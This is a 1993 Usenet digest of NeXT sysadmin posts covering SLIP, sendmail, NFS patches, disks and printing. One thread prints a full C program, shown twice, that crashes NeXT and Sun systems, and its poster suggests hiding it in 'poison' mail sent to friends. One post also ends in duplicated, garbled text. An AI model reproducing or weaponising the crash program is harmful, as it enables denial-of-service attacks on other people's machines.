Newsgroups: comp.sys.next.advocacy,comp.sys.next.sysadmin
Subject: how to crash any NeXT
Message-ID: <MS-C.738700670.662824084.mrc@Ikkoku-Kan.Panda.COM>
Date: 29 May 93 04:37:50 GMT
Article-I.D.: Ikkoku-K.MS-C.738700670.662824084.mrc
Organization: University of Washington
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
The following little program will crash any NeXT. It was posted on
comp.protocols.tcp-ip, and a short while later a bugfix was also posted. So,
people on other operating system platforms are fixing their kernels. But
because of NeXT's cretinous policy of no source distributions, people with
NeXTs can't fix it themselves.
Will NeXT offer a fix in 3.1? Hardly. 3.2? Doubtful. 4.0? Perhaps.
I leave it as an exercise to the reader to figure out how to encapsulate this
program in a poison NeXTmail or NewsGrazer message to send to (soon to be
former) friends.
[It isn't as if this is the only ``crash any system'' program that has come
about. It's just the latest.]
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
main()
{
struct sockaddr_in server;
int s, length;
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0) {
perror("socket");
exit(1);
}
bzero(&server, sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(0);
if (bind(s, &server, sizeof(server)) < 0) {
perror("bind");
exit(1);
}
length = sizeof(server);
if (getsockname(s, &server, &length) < 0) {
perror("getsockname");
exit(1);
}
printf("local: addr %s port %d\n", inet_ntoa(server.sin_addr),
ntohs(server.sin_port));
server.sin_addr.s_addr = inet_addr("127.0.0.1");
printf("connecting: addr %s port %d\n", inet_ntoa(&server.sin_addr),
ntohs(server.sin_port));
if (connect(s, &server, sizeof(server)) < 0) {
perror("connect");
}
exit(0);
}
From: thor@sushi.uib.no
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin,comp.dcom.modems
Subject: SLIP is up, News works, _Mail_ chokes...
Keywords: SLIP, slip, sendmail, mail
Message-ID: <1993May29.204855.7265@alf.uib.no>
Date: 29 May 93 20:48:55 GMT
Sender: usenet@alf.uib.no (Bergen University Newsaccount)
Organization: University of Bergen, Norway
Hi kids!
Well, my SLIP connection is taking form. Now I can ping, telnet,
rlogin, ftp, etc etc etc over the whole world without problems.
I have even received mail sent from my University acount to my
home machine (I'm registered in the NIS database now), and am
sitting and reading NetNews via NewsGrazer at this moment.
Life is good :-)
One thing that isn't working 100% yet is mail from my home machine
out to that world. I have read all I can find on sendmail, and
have tried running both mail and sendmail by hand - that works,
the mailhost accepts my machine and user as valid and everything
goes O.K. However, if I type:
sushi> mail joe@site.edu
I get an error message. The same happens when I use Mail.app.
Here is a short transcript of the error message from the mailhost:
----- Transcript of session follows -----
550 edb (ether)... 550 Host unknown
554 Thor Legvold <T.Legvold@edb.uib.no>... 550 Host unknown (Valid name but no A or MX record)
----- Unsent message follows -----
(This is the usual message I get)
And here is what happened when I tried with a slightly different address
(one that really shouldn't work, but sometimes does anyway ;-)
----- Transcript of session follows -----
While connected to mailhost:
>>> MAIL From:<thor@sushi>
<<< 501 Unknown domain 'sushi'
554 edmtl@uib.no... 554 Remote protocol error
----- Unsent message follows -----
I'm going to take a look at sendmail.cf, but thats a type of Wizardry
I'd rather not learn... ;-) (Writing disktabs was enough excercise,
and both a humbling and learning Unix experience :-)
If anyone has (knowlegable) advice, please e-mail. Just for kicks,
try thor@sushi.uib.no in the Cc: field just to see if it gets through.
My regular (i.e. stable :-) mail address is: edmtl@edb.uib.no.
Regards,
Thor "No problem, this one's only _two_ partitions..." Legvold
Newsgroups: comp.sys.next.advocacy,comp.sys.next.sysadmin
Subject: Re: how to crash any NeXT
Message-ID: <OLEG.93May29160355@gd.cs.CSUFresno.EDU>
From: oleg@gd.cs.CSUFresno.EDU (Oleg Kibirev)
Date: 29 May 93 16:03:55
References: <MS-C.738700670.662824084.mrc@Ikkoku-Kan.Panda.COM>
Organization: Computer Science Departement of California State University inFresno
In-reply-to: mrc@Ikkoku-Kan.Panda.COM's message of 29 May 93 04:37:50 GMT
In article <MS-C.738700670.662824084.mrc@Ikkoku-Kan.Panda.COM> mrc@Ikkoku-Kan.Panda.COM (Mark Crispin) writes:
The following little program will crash any NeXT. It was posted on
comp.protocols.tcp-ip, and a short while later a bugfix was also posted. So,
people on other operating system platforms are fixing their kernels. But
because of NeXT's cretinous policy of no source distributions, people with
NeXTs can't fix it themselves.
Will NeXT offer a fix in 3.1? Hardly. 3.2? Doubtful. 4.0? Perhaps.
I leave it as an exercise to the reader to figure out how to encapsulate this
program in a poison NeXTmail or NewsGrazer message to send to (soon to be
former) friends.
[It isn't as if this is the only ``crash any system'' program that has come
about. It's just the latest.]
It also worked on a Sun!
Oleg
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
main()
{
struct sockaddr_in server;
int s, length;
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0) {
perror("socket");
exit(1);
}
bzero(&server, sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(0);
if (bind(s, &server, sizeof(server)) < 0) {
perror("bind");
exit(1);
}
length = sizeof(server);
if (getsockname(s, &server, &length) < 0) {
perror("getsockname");
exit(1);
}
printf("local: addr %s port %d\n", inet_ntoa(server.sin_addr),
ntohs(server.sin_port));
server.sin_addr.s_addr = inet_addr("127.0.0.1");
printf("connecting: addr %s port %d\n", inet_ntoa(&server.sin_addr),
ntohs(server.sin_port));
if (connect(s, &server, sizeof(server)) < 0) {
perror("connect");
}
exit(0);
}
Newsgroups: comp.sys.next.sysadmin
From: jland@lodge.nwu.edu (John Landwehr)
Subject: Re: SLIP and PPP experiences
Message-ID: <1993May30.015124.2705@news.acns.nwu.edu>
Sender: usenet@news.acns.nwu.edu (Usenet on news.acns)
Organization: Northwestern University, Evanston, Illinois, USA
References: <1993May28.012932.4382@frogware.com>
Date: Sun, 30 May 1993 01:51:24 GMT
In article <1993May28.012932.4382@frogware.com> ben@frogware.com (Ben
Bernhard) writes:
> I'm considering setting myself up with a slip or ppp connection to the
> office. I'd like to hear about your experiences.
Check out my paper at sonata.cc.purdue.edu:
/pub/next/docs/SLIP_PPP_Paper.ps.Z
It should answer many of your questions...
--
John Landwehr
NeXT Campus Consultant, Chicago
708-864-7811
jland@nwu.edu
Newsgroups: comp.sys.next.sysadmin
From: UC512052@mizzou1.missouri.edu (David K. Drum)
Subject: Oops! How to recover rm'ed files? (please!)
Message-ID: <16BDD12784.UC512052@mizzou1.missouri.edu>
Sender: nobody@ctr.columbia.edu
Organization: University of Missouri
Date: Sun, 30 May 1993 02:00:52 GMT
Are there any handy or not so handy utilities I can obtain to
try to recover some deleted files? The machine in question is OFF,
so nothing should have been written to the disk.
Thanks,
David K. Drum uc512052@mizzou1.missouri.edu
Newsgroups: comp.sys.next.sysadmin
From: verket@venice.sedd.trw.com (Paul Verket)
Subject: Re: SLIP and PPP experiences
Message-ID: <1993May30.050239.5370@venice.sedd.trw.com>
Sender: news@venice.sedd.trw.com (USENET News)
Organization: TRW Systems Engineering & Development Division, Carson, CA
References: <1993May28.012932.4382@frogware.com>
Date: Sun, 30 May 1993 05:02:39 GMT
In article <1993May28.012932.4382@frogware.com> ben@frogware.com (Ben Bernhard)
writes:
> I'm considering setting myself up with a slip or ppp connection to the
office.
> I'd like to hear about your experiences.
I've used, to one extent or another, the following three packages:
L. Mamakos public domain SLIP implementation.
Marble Teleconnect SLIP
MorningStar PPP (and SLIP, compressed SLIP)
Mamakos' PD offering is what I use currently at home. It's available on
cs.orst.edu and sonata.cc.purdue.edu. It's not for the faint of heart to
install but it works well. Compressed slip is an extra cost option.
I've helped others with Marble Teleconnect so I have little experience with it.
I.E. The setup was quite easy _if_ you understand networking. Their book looked
good. This was the only one of the three with a NEXTSTEP user interface.
NeXTConnection sells it.
I've used MorningStar's PPP quite a bit at work. It's pricey but you definitely
get what you pay for in both features and support. These guys gave me their
home phone numbers when I had a problem on a Friday afternoon! Simply great
software. Email to info@morningstar.com for info.
>
> Speed issues are especially important- Is it reasonable to mount the remote
> file system?
Two issues arise here. Speed and reliability. Speed can be slow given the
combination of how NFS works and the fact the NEXTSTEP does lots of file system
stat operations. Ftp looks better in a big hurry! Reliability is more important
in that NFS by default uses UDP packets. TCP packets are needed over slip (if
you have a writable file system) to keep from corrupting files.
> What additional utilities will I need & where can I get them?
None. Gary Chang puts out a package named SLIPCommander that I haven't tried
yet (he'll kill me...long story). Check out the ftp sites mentioned above.
> Does it take much effort to maintain once set up?
No more than anything else. You'll tune it at the start to get the fastest call
set up time but then it'll just work.
Paul Verket (NeXTmail ok)
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: SunOS/Solaris NFS mounted drives - BUG?
Date: 30 May 1993 03:08:39 -0500
Organization: University of Illinois at Urbana
Message-ID: <1u9q2l$738@ux1.cso.uiuc.edu>
References: <1993May27.201738.3213@linus.mitre.org>
jblue@ocotillo.mitre.org (Jason D. Blue) writes:
>I remember reading at some point of a bug that appears when NeXT
>writes to NFS mounted SUN devices. Can anyone provide more details
>(i.e. what version of NEXTSTEP effected, patches, etc.)
The one I have seen is that when a Sun disk is nfs mounted onto
a NeXT machine in 2.x, 'touch'ing a 0 byte file on that remote
disk on the NeXT doesn't actually change the date. As far as I
know, this was fixed in 3.0.
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.dcom.modems
From: thor@sushi.uib.no
Subject: Re: SLIP is up, etc...
Message-ID: <1993May30.114333.7985@alf.uib.no>
Keywords: SLIP, sendmail, PPP
Sender: usenet@alf.uib.no (Bergen University Newsaccount)
Organization: University of Bergen, Norway
Date: Sun, 30 May 93 11:43:33 GMT
Hi again.
Thanks for all the replies. Unfortunately, all the replies were
asking for similar help :-)
I am in the middle of writing a SLIP autobiography, and documenting
how SLIP may be set up for those who aren't NetGods or network Wizards.
This paper is primarily aimed at people who are setting up the server
end of things, primarily because that is where I've been having
problems, and that is the end where I have found about _no_
documentation - everything simply says "see/ask your sysadmin about
setting up/finding out about SLIP/PPP". That doesn't help me
when _I_ have to set things up (as a part time sysadmin :-)
I have received lots of knowledgeable and friendly help, advice,
tips, etc in the proper configuration of SLIP/PPP, and have (with
the various individuals permission) already began work to put
all this together into a somewhat comprehensive installation guide.
I hope to have a rough copy available to those in need :-) within
a week. I hope it's helpful. If anyone needs specific advice
_now_ (i.e. you just can't wait a week) e-mail me and I'll see
if I can help :-)
Regards,
Thor
--
Thor Legvold | "This is the strangest life
NorNeXT User Group leader | I've ever known..."
University of Bergen | -Jim Morrison, The Doors
NORWAY | edmtl@edb.uib.no says "see/ask your sysadmin about
setting up/finding out about SLIP/PPP". That doesn't help me
when _I_ have to set things up (as a part time sysadmin :-)
I have received lots of knowledgeable and friendly help, advice,
tips, etc in the proper configuration of SLIP/PPP, and have (with
the various individuals permission) already began work to put
all this together into a somewhat comprehensive installation guide.
I hope to have a rough copy available to those in need :-) within
a week. I hope it's helpful. If anyone needs specific$BY$(J
Newsgroups: comp.sys.next.sysadmin
From: phgp051@chpc.utexas.edu (Pranab Das)
Subject: Need info on installing rn, trn or similar
Message-ID: <1993May30.213055.2318@chpc.utexas.edu>
Organization: The University of Texas System - CHPC
Date: Sun, 30 May 93 21:30:55 GMT
Recently another poster asked if there might be a FAQ on installing
some term-based newsreader. Unfortunately, I didn't catch the response. Any
help including location of source code and installation instructions would be
most appreciated.
Pranab
Newsgroups: comp.sys.next.sysadmin
From: thf@zelator.in-berlin.de (Thomas Funke)
Subject: Re: Newsgrazer posting
Message-ID: <1993May29.224528.2859@gamelan>
Sender: thomas@gamelan (thomas)
Organization: NNU Corp. - NeXT is Not UN*X
References: <1993May27.185129.2448@frogware.com>
Date: Sat, 29 May 1993 22:45:28 GMT
In article <1993May27.185129.2448@frogware.com> ben@frogware.com (Ben Bernhard)
writes:
> Finally figured it out, I needed to add myself (the ben user, and any others
> that should be able to post) to the "news" group- just used user manager.
> If this is a bad idea, and there is a better way to do this, somebody pls
tell
> me!
Make the inews-program setuid news. Because it's a shell script, that should be
a security leak ! :-)
--
------------------------------------------------------------------
Thomas Funke ** Unix-Consultant ** thf@zelator.in-berlin.de
The nice thing about standards is that there are so many of them to
choose from.
-- Andrew S. Tanenbaum
Newsgroups: comp.sys.next.sysadmin
From: kjell@oops.se (Kjell Nilsson)
Subject: My external disk changes owner
Message-ID: <1993May30.222427.548@oops.se>
Sender: kjell@oops.se
Organization: OOPSart - ObjectWareHouse
Date: Sun, 30 May 1993 22:24:27 GMT
Hi
Is there somebody that could help me with this. I have an external
harddisk which I call /Nitro in the fstab.
In the manual it says that if I have mounted it with an entry in the fstab
it should be possible to chance owner and so on. So I can but after a
while it gets change back to the user I am logged in to. And it changes
group to nogroup. Why???? This may be a FAQ but I have not access to
FAQ:s. This may also be a RTFM but I have looked all over, believe me.
This is the entry in the fstab
#
/dev/sd0a / 4.3 rw,noquota,noauto 0 1
/dev/sd3a /Nitro 4.3 rw,noquota,noauto 0 2
I have also a scsi floppy and a cdrom, that is why I assign /Nitro to
/dev/sd3a.
Thanks in advance.
Kjell Nilsson
OOPSart - ObjectWareHouse
Newsgroups: comp.sys.next.sysadmin
From: cbaur@blabel.ppp.informatik.uni-muenchen.de (Christian Baur)
Subject: Re: SunOS/Solaris NFS mounted drives - BUG?
Message-ID: <1993May31.041418.706@blabel.ppp.informatik.uni-muenchen.de>
Organization: Home of BlackLabel
References: <1993May27.201738.3213@linus.mitre.org>
Date: Mon, 31 May 1993 04:14:18 GMT
>jblue@ocotillo.mitre.org (Jason D. Blue) writes:
>I remember reading at some point of a bug that appears when NeXT
>writes to NFS mounted SUN devices. Can anyone provide more details
>(i.e. what version of NEXTSTEP effected, patches, etc.)
>
I posted this a while ago. We had this problem with NS3.0 (not tested
with <3.0 or with SunOS). The patch below also did it for Mike Matthews :
=========================================================================
matthews@oberon.umd.edu (Mike Matthews) writes:
>We're trying to use a SPARC LX running Solaris 2.1 as our mail host to NeXT
>and SunOS 4.x machines. I've got /var/mail exported to everybody, who's
>mounting it as /usr/spool/mail, and that part seems to work OK.
>
>The problem is, even though the sendmail.cf file (which is a main.cf file
>with the asked-for values) specifies mode 0600 for the files, they come out
>as mode 660, and when NeXTmail gets it, it becomes mode 4777. Not very secure.
>2) what's up with mail? I have no idea what's going on there.
Ok, we had the same problems here with Solaris 2.1 as a file server for our
NeXTStations. Doing a chown (and sendmail does a chown) yields in a wrong
filemode for that file. All bits are set. After tracing the network traffic
it was clear.
Whats going on?? In NFS the attributes of a file are transferred in structure
called fattr. All entries in this structure which should not be modified
in a set attributes NFS call (NFSPROC_SETATTR) have to be -1.
This is also valid for the the vnode (virtual node) file mode structure (vattr)
of the physical filesystem.
The attribute structure is converted from the vnode attributes (vattr)
to the NFS structure (sattr). In vattr the mode field is u_short in sattr
it is u_long (32bit int's as god intended int's to be).
Seems to be no problem. But the vattr_to_sattr routine in Mach 'converts'
the -1 (16bit) to a -1 (also 16bit)...
Here is a binpatch for the 3.0 mach kernel (NeXT Mach 3.0: Wed Jul 29 19:43:28
PDT 1992). I don't know if there is also a problem with 2.1, but I think a
similiar patch will do it also for 2.1 [This patch ONLY applies to 3.0!!!].
[binpatch it with 'binpatch -f nfspatch.binpatch /sdmach' after making a
backup from your /sdmach]
nfspatch.binpatch:
256163 61 41
256166 2 0
[this patches a 'movew a2,a0@(0x2:w)' to a 'movel a2,a0@(0x0:w)']
binpatch is available from ftp.informatik.uni-muenchen.de in
/pub/next/Tools/hack/.
This patch works for us, but remember: I am not responsible for any damage
you cause to your filesystem with this patch. You use this patch on your
own risk!!!
=========================================================================
There is also a bug in the NFS implementation of Solaris (a posting
from Robert Stabl <stabl@informatik.uni-muenchen.de>):
=========================================================================
In article <1s5kjn$q2j@news.cs.tu-berlin.de> doko@cs.tu-berlin.de
(Matthias Klose) writes:
> I am not sure if this is a bug in the NeXTstep Window Manager or a
> unknown feature/bug in the NFS implementation of Solaris.
>
> If a directory sun:/export/next/LocalApps is mounted on the NeXT in
> /LocalApps, the FileViewer shows in BrowserMode a directory loop after
> the second directory: /LocalApps/DemoApp.app/Dir/Dir/Dir ...
> However there is no loop if I open a shell window and change to this
> directory.
>
> I have got a message (probably) describing the problem; can you tell
> me on which side the problem lays and/or it is resolved in NS3.1?
> That's probably the case:
>
> Patch-ID# 100939-01
> Keywords: wrong file size full file system nfs module fs server mount readdir NF
> S
> Synopsis: SunOS 5.1: Fixes to NFS module
> Date: Mar/19/93
We had the same problem. It is fixed by the above mentioned patch on the
Solaris (SUN) side. But remember that there is a severe bug in the NeXT NFS
implemenation when performing a chown system call on a mounted Solaris file
system on the NeXT side. To fix this bug we had to patch the NeXT kernel.
=========================================================================
After applying these two patches on both sides (arg...) the NFS mounts
on our NeXTs run quite fine...
cb
--
[ Christian Baur, Muenchen-Germany | Suicide is an urban disease ]
[ cbaur@informatik.uni-muenchen.de | Spread by people and places like these ]
From: doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott)
Newsgroups: comp.sys.next.misc,comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: Configuring an old Hayes 1200 modem on an 030 cube
Message-ID: <8808@ucsbcsl.ucsb.edu>
Date: 30 May 93 05:06:19 GMT
Sender: news@ucsbcsl.ucsb.edu
Followup-To: comp.sys.next.misc
Organization: Center for Computer Music Research and Composition, U.C.S.B.
I am trying to set up one of the people in our studio with an old Hayes
Smartmodem (1200 Baud) on an 030 Cube. I have given them one of the Mac modem
cables that I used when I had an 030 cube which worked great with my 2400 baud
Hayes-compatible modem. When I tested my modem on this person's cube, it
worked fine with this cable, but when I connect up their modem and attempt to
access it via tip or kermit, I get the "device busy" message.
This person's modem does not appear to have any non-volatile memory; it does
not understand any of the AT& commands for setting registers, so I cant find
any way to change how what it does with carrier-detection or DSR. It is my
guess that it is somehow setting these permenantly on (it was being used with
an old dumb terminal) and this is why the NeXT device thinks it is busy.
One final thing: this older modem worked with an 040 cube using the 040-style
modem cables. That doesnt help me on the 030, though.
Any suggestions on what might be wrong and how it could be fixed?
Thanks in advance!
--
Douglas Scott (805)893-8352
Center for Computer Music Research and Composition
University of California, Santa Barbara
Internet: (NeXTMail ok) <doug@foxtrot.ccmrc.ucsb.edu>
From: rawyatt@phakt.usc.edu (Robert Alexander Wyatt)
Newsgroups: comp.sys.next.sysadmin
Subject: A NOVICE SEEKS ADVICE...
Date: 31 May 1993 04:44:26 -0700
Organization: University of Southern California, Los Angeles, CA
Sender: nntp@phakt.usc.edu
Distribution: world
Message-ID: <1ucr2qINN32n@phakt.usc.edu>
I have used the net on several occasions as a resource and have always been
very impressed by the amount of knowledge users are willing to share...
So, this one should be a no-brainer for most of you!
I recently revamped our NeXT net at work (a small five machine net), upgrading
the machines, etc...I also restructured the whole thing so that everything made
more sense (things were quite a mess!)...
My question is...Our firm is a public relations firm, so we have serious volume
when it comes to files...word processor...spread-sheet...etc...Currently I have
a shared folder that all of the users can see...In that folder are folders that
cover everything from office policy to tradeshows to clients...The clients
folder is then divided again into individual clients, etc...
My question is this...I have a solid (but basic) working knowledge of UNIX...
Most of what I have learned about networking has come from doing...In order to
keep every file accessable to every user, permissions need to be changed
occasionally...When someone creates a new file, there are sometimes problems
with others reading it, etc...To make this easier on the users, should I
make sure that they are all in a group together or should I write a shell
script that goes through every night and changes permissions at a certain
time? Or am I clueless???
Any advice would be much appreciated!!!
Thanks!
-Rob
Please respond to: rwyatt@ata.com (NeXTmail of course!)
Newsgroups: comp.sys.next.sysadmin
From: kjell@oops.se (Kjell Nilsson)
Subject: Sum: My external disk changes owner
Message-ID: <1993May31.123554.1051@oops.se>
Sender: kjell@oops.se
Organization: OOPSart - ObjectWareHouse
References: <1993May30.222427.548@oops.se>
Date: Mon, 31 May 1993 12:35:54 GMT
Thanks to Kjell Lundesten, Magnus Nordborg and Steve Hayman for answering
my question. All of them answer that I should omit the noauto. Because
then the HD will not be mounted until someone login. And that someone will
have the ownership of the HD.
So the NeXT manual is wrong at page 185 in"NeXTSTEP Network and System
Administration" manual. It should read
/dev/sdna /mount_point 4.3 rw,noquota 0 2
Hope this helps someone else!
Kjell Nilsson
Newsgroups: comp.sys.next.sysadmin
From: jland@lodge.nwu.edu (John Landwehr)
Subject: Re: SLIP and PPP experiences
Message-ID: <1993May31.152109.952@news.acns.nwu.edu>
Sender: usenet@news.acns.nwu.edu (Usenet on news.acns)
Organization: Northwestern University, Evanston, Illinois, USA
References: <1993May30.015124.2705@news.acns.nwu.edu>
Date: Mon, 31 May 1993 15:21:09 GMT
In article <1993May30.015124.2705@news.acns.nwu.edu> jland@lodge.nwu.edu (John
Landwehr) writes:
> In article <1993May28.012932.4382@frogware.com> ben@frogware.com (Ben
> Bernhard) writes:
> > I'm considering setting myself up with a slip or ppp connection to the
> > office. I'd like to hear about your experiences.
>
> Check out my paper at sonata.cc.purdue.edu:
> /pub/next/docs/SLIP_PPP_Paper.ps.Z
>
Also, check out NeXTanswers....
Another article of mine is available as document 1011
"Taking your network home..."
If you haven't checked this service out yet, send mail to:
nextanswers@next.com
with subject: help index
Or, to retrieve just my article in ascii-
subject: 1011 ascii
Otherwise,
Subject: 1011
will send NeXTmail attachments.
--
John Landwehr
NeXT Campus Consultant, Chicago
708-864-7811
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From: amehta@yale.edu (Anand Mehta)
Subject: Setting up Drives > 660mb
Message-ID: <1993May31.160008.7925@news.yale.edu>
Sender: news@news.yale.edu (USENET News System)
Organization: Yale Univ. Science & Engineering Computing Facility, New Haven, CT 06520
Date: Mon, 31 May 1993 16:00:08 GMT
I have just purchased a Quantum P1225 (1.2gig) harddrive. After looking
through the documentation, it seems that the configurations that the build
utilities know about are 660 and 330mb.
Has anyone installed this model drive/Could anyone tell me what I have to do in
order to build it correctly? What else is needed besides a correct disktab?
Thanks,
-Anand
Academic Computing Services
Yale University
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From: antoine@arrakis.osd.ulaval.ca (Antoine Gautier)
Subject: Printer Description File not available... ???
Message-ID: <1993May31.154652.17212@cerberus.ulaval.ca>
Sender: news@cerberus.ulaval.ca
Organization: Universite Laval
Date: Mon, 31 May 1993 15:46:52 GMT
Hello World,
Just came back from vacation, my slab -- which remained on for a month -- is acting
up... the print panel tells me "Printer Description File not available", so cannot
print..
I looked up lpd-errs, the last line was:
May 28 10:30:46 arrakis lpd[110]: Removing spool directory for Local_Printer
Any idea what could be going on?
Thks!
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From: ntomczak@vega.math.ualberta.ca (N Tomczak-Jaegermann)
Subject: Re: set user cron job
Message-ID: <ntomczak.738869643@vega>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <1993May26.154841.10125@kakwa.ucs.ualberta.ca> <C7nF0v.8Dr@northstar.com>
Date: Mon, 31 May 1993 17:34:03 GMT
A Ried Thiel (ried@NorthStar.com) writes:
>> Hao Wang (hwang@nextvm5.corp.mot.com) wrote:
>> : Hi there,
>> :
>> : I am try to set up a cron job for user. I have no document. It seems
>> : different compare with other unix box. Can some out there help me.
>> : Thanks.
>It is possible using NeXT's cron to have the command run as that user.
>0 1 * * * root su <username> -c '<program>'
Man pages also document 'at' command and "at" jobs can be run by users.
I did not try it on NeXT, but I know that it used to work on other
BSD-like machines. :-)
Michal Jaegermann
ntomczak@vega.math.ualberta.ca
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From: thf@zelator.in-berlin.de (Thomas Funke)
Subject: Re: how to crash any NeXT
Message-ID: <1993May30.212023.9515@gamelan>
Sender: thomas@gamelan (thomas)
Organization: NNU Corp. - NeXT is Not UN*X
References: <MS-C.738700670.662824084.mrc@Ikkoku-Kan.Panda.COM>
Date: Sun, 30 May 1993 21:20:23 GMT
In article <MS-C.738700670.662824084.mrc@Ikkoku-Kan.Panda.COM>
mrc@Ikkoku-Kan.Panda.COM (Mark Crispin) writes:
> The following little program will crash any NeXT. It was posted on
> comp.protocols.tcp-ip, and a short while later a bugfix was also posted.
For a longer time, NeXT had a severe network bug which occured always with the
sybase-server. I have reported this bug, but it's still here in 3.0. The trick
is: Sybase (in the standard configuration) uses port numbers < 5000, and those
are the same numbers as Next (and any other unix) gives automatically when
establishing tcp-ip-connections. When there is a collision of the two
portnumbers, the machine will hang completely.
So don't use port numbers <= 5000 !
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From: kjell@oops.se (Kjell Nilsson)
Subject: Re: set user cron job
Message-ID: <1993May31.201150.1689@oops.se>
Sender: kjell@oops.se
Organization: OOPSart - ObjectWareHouse
References: <ntomczak.738869643@vega>
Date: Mon, 31 May 1993 20:11:50 GMT
> A Ried Thiel (ried@NorthStar.com) writes:
> >It is possible using NeXT's cron to have the command run as that user.
>
> >0 1 * * * root su <username> -c '<program>'
What does this parameter '-c' do. I can't find it under 'man cron or su'??
Kjell Nilsson
at OOPS
From: k0s8160@chenext1.tamu.edu (Kenji Seto)
Newsgroups: comp.sys.next.sysadmin
Subject: strange scsi msgs at boot time
Date: 1 Jun 1993 01:27:57 GMT
Organization: Texas A&M University, College Station, TX
Message-ID: <1uebat$fbd@tamsun.tamu.edu>
Greetings,
I just received a Fujitsu M2624F-512 500Mb harddrive and I ran the
app, BuildDisk.App to install the operating system. I get some very
strange messages on boot up. There are 2 disks on this system, a seagate
mounted as sd1a(with scsi target number 3), and the fujitsu with mounted as
sd0a(with scsi target number 0)
I reboot as always [command][command][~]
nmi > halt
Once I get to the NeXt Rom Monitor I see the modified boot command that
I run on all of are 32Mb RAM machines, but this is followed by weird
messages as follows:
NeXT> b
Boot command: sd- nbuf=64
SCSI unexpected msg: 1
sc unexpected mes
SCSI unexpected msg: 1
sc unexpected mes
SCSI unexpected msg: 1
sc unexpected mes
SCSI unexpected msg: 1
sc unexpected mes
SCSI unexpected msg: 1
sc unexpected mes
booting SCSI target 3, lun 0
blbk0 boot: sc () sdmach
SCSI unexpected msg: 1
.
.
.
.(many more such lines)
.
.
SCSI command 0x10 config 0x57
Booting from SCSI target 3, lun0
----------
At this point we leave the rom monitor and swith to the smaller screen,
entitled 'NeXT Mach Operating System'. From this point on, it boots
as expected off the fujitsu drive, and operates flawlessly.
It appears that it gets some sort of strange signal from sd0a (at target 0)
and then tries to boot from the secondary disk, sd1a (at target 3).
Subsequently, it goes back and boots off of sd0a. It should be noted that a
bootable version of NeXTStep 3.0 is on sd1a, and if it really wanted to it
could sucessfully boot from that disk.
Should I be worried about this problem and messages? After I go through
the boot process, everything seems to work great. A couple years back Rory
Bolt posted a low-level formatter for Fujitsu drives at
Host: nova.cc.purdue.edu
Path: /pub/next/1.0-releases/binaries/formatter_1.2.tar.z
but I am reluctant to go this route, since it was meant for a different
Fujitsu drive on the old NeXTStep2.0/2.1. Furthermore, I am not sure if
that would even address my problem.
Any help or insight would be appreciated.
Thanks,
-Kenji
BTW- I have run this on mono-slabs and mono-turbos and I always get the
same messages.
Newsgroups: comp.sys.next.sysadmin
Subject: I have 32MB RAM, NS/FIP will only see 16MB
Message-ID: <C7yzvy.88@news.otago.ac.nz>
From: alastair@farli.otago.ac.nz (Alastair Thomson)
Date: Wed, 2 Jun 1993 01:23:58 GMT
Sender: usenet@news.otago.ac.nz (News stuff)
Organization: University of Otago
Hi there,
We have a Compaq Deskpro 66M running NS/FIP Pre-release 1.
We originally had 16MB of RAM in it and recently upgraded it to 32MB.
The problem is that NeXTSTEP will still only see 16MB. Is this
something specific to the pre release, or does it happen all the
time?
Any help would be appreciated as we need to demo a system in two
weeks with our app that make the window server grow to about 26MB, so
16 makes it swap like crazy!
Many thanks
Alastair
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University of Otago, | Fax +64-3-479-8529
Department of Computer Science, | e-mail:
P.O. Box 56 | alastair@piglet.otago.ac.nz
Dunedin | or ATHOMSON@otago.ac.nz
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Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.hardware
From: tabs@netcom.com (Network Account)
Subject: printer problems after upgrade to 3.0 ...
Message-ID: <tabsC7xDtH.I4G@netcom.com>
Followup-To: comp.sys.next.sysadmin
Summary: printer does not work after upgrade to 3.0
Keywords: lpd,printer,upgrade,printcap
Sender: tabs@netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
Date: Tue, 1 Jun 1993 04:29:40 GMT
We have a repeat of the problem that we had months ago, but the
earlier solution does not work.
We upgraded out last NS2.1 hard disk to 3.0. Everything went
smoothly except that the printer does not work anymore.
Everytime we try to print we get the message:
The application could not connect to the printing daemon
The log file /usr/adm/lpd-errs has error messages:
May 31 19:04:13 tabss1 lpd: Name lpr Msg connect "/dev/lpd/printer" No such file or directory
May 31 19:06:46 tabss1 lpd[114]: /usr/spool/lpd.lock: Too many levels of symbolic links
We tried using printcap entries from a working
3.0 disk. We also tried copying netinfo from the alternate 3.0
boot disk. We tried manually starting lpd. The lpd daemon does not
seem to start up.
We probably tried all solutions recommended in the archived news
articles from Nov last year to May this year. Maybe we are missing
something obvious. Can someone please help.
We had similar problem before, but fixing printcap
entries worked at that time.
Local_Printer: \
:lf=/usr/adm/lpd-errs:sf=:sb=:lp=/dev/null:mx=0: \
:if=/usr/lib/NextPrinter/Server/prserver: \
:cf=/usr/lib/NextPrinter/Server/pscf: \
:df=/usr/lib/NextPrinter/Server/psdf: \
:gf=/usr/lib/NextPrinter/Server/psgf: \
:nf=/usr/lib/NextPrinter/Server/psnf: \
:rf=/usr/lib/NextPrinter/Server/psrf: \
:tf=/usr/lib/NextPrinter/Server/pstf: \
:vf=/usr/lib/NextPrinter/Server/psvf: \
:sd=/usr/spool/NeXT/Local_Printer:nxformat=3.0: \
:ty=NeXT 400 dpi Level II Printer:note=:sharedAs=NetworkPrinter: \
:sharedTo=/:_writers=*:
